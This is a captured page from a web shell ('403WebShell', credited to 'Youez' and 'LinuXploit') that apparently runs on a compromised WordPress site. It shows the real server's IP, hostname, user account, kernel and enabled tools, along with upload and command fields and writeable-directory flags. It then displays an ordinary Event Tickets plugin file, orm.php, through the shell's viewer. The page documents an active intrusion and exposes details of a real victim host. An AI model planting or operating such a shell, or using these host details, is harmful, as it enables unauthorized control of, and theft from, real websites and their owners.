Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.141.201.46
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/functions/commerce/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/event-tickets/src/functions/commerce/orm.php
<?php
use \Tribe__Utils__Array as Arr;

/**
 * Builds and returns the correct Orders repository.
 *
 * @since 5.1.9
 *
 * @param string $repository The slug of the repository to build/return.
 *
 * @return Tribe__Repository__Interface An instance of the requested repository
 *                                      class.
 */
function tec_tc_orders( $repository = 'default' ) {
	$map = [
		'default' => TEC\Tickets\Commerce\Repositories\Order_Repository::class,
	];

	$args = func_num_args() > 1 ? array_slice( func_get_args(), 1 ) : [];

	/**
	 * Filters the map relating orders repository slugs to service container bindings.
	 *
	 * @since 5.1.9
	 *
	 * @param array  $map        A map in the shape [ <repository_slug> => <service_name> ]
	 * @param string $repository The currently requested implementation.
	 * @param array  $args       An array of additional call arguments used to call the function beside the
	 *                           repository slug.
	 */
	$map = apply_filters( 'tec_tickets_commerce_orders_repository_map', $map, $repository, $args );

	return tribe( Arr::get( $map, $repository, $map['default'] ) );
}

/**
 * Builds and returns the correct Tickets repository.
 *
 * @since 5.1.9
 *
 * @param string $repository The slug of the repository to build/return.
 *
 * @return Tribe__Repository__Interface An instance of the requested repository
 *                                      class.
 */
function tec_tc_tickets( $repository = 'default' ) {
	$map = [
		'default' => TEC\Tickets\Commerce\Repositories\Tickets_Repository::class,
	];

	$args = func_num_args() > 1 ? array_slice( func_get_args(), 1 ) : [];

	/**
	 * Filters the map relating tickets repository slugs to service container bindings.
	 *
	 * @since 5.1.9
	 *
	 * @param array  $map        A map in the shape [ <repository_slug> => <service_name> ]
	 * @param string $repository The currently requested implementation.
	 * @param array  $args       An array of additional call arguments used to call the function beside the
	 *                           repository slug.
	 */
	$map = apply_filters( 'tec_tickets_commerce_tickets_repository_map', $map, $repository, $args );

	return tribe( Arr::get( $map, $repository, $map['default'] ) );
}

/**
 * Builds and returns the correct Attendees repository.
 *
 * @since 5.1.9
 *
 * @param string $repository The slug of the repository to build/return.
 *
 * @return Tribe__Repository__Interface An instance of the requested repository
 *                                      class.
 */
function tec_tc_attendees( $repository = 'default' ) {
	$map = [
		'default' => TEC\Tickets\Commerce\Repositories\Attendees_Repository::class,
		'rsvp'    => Tribe__Tickets__Repositories__Attendee__RSVP::class,
	];

	$args = func_num_args() > 1 ? array_slice( func_get_args(), 1 ) : [];

	/**
	 * Filters the map relating attendees repository slugs to service container bindings.
	 *
	 * @since 5.1.9
	 *
	 * @param array  $map        A map in the shape [ <repository_slug> => <service_name> ]
	 * @param string $repository The currently requested implementation.
	 * @param array  $args       An array of additional call arguments used to call the function beside the
	 *                           repository slug.
	 */
	$map = apply_filters( 'tec_tickets_commerce_attendees_repository_map', $map, $repository, $args );

	if ( 'all' === $repository ) {
		return array_map(
			function ( $repo ) use ( $map ) {
				return Arr::get( $map, $repo, $map[ $repo ] );
			},
			array_keys( $map )
		);
	}

	return tribe( Arr::get( $map, $repository, $map['default'] ) );
}

Youez - 2016 - github.com/yon3zu
LinuXploit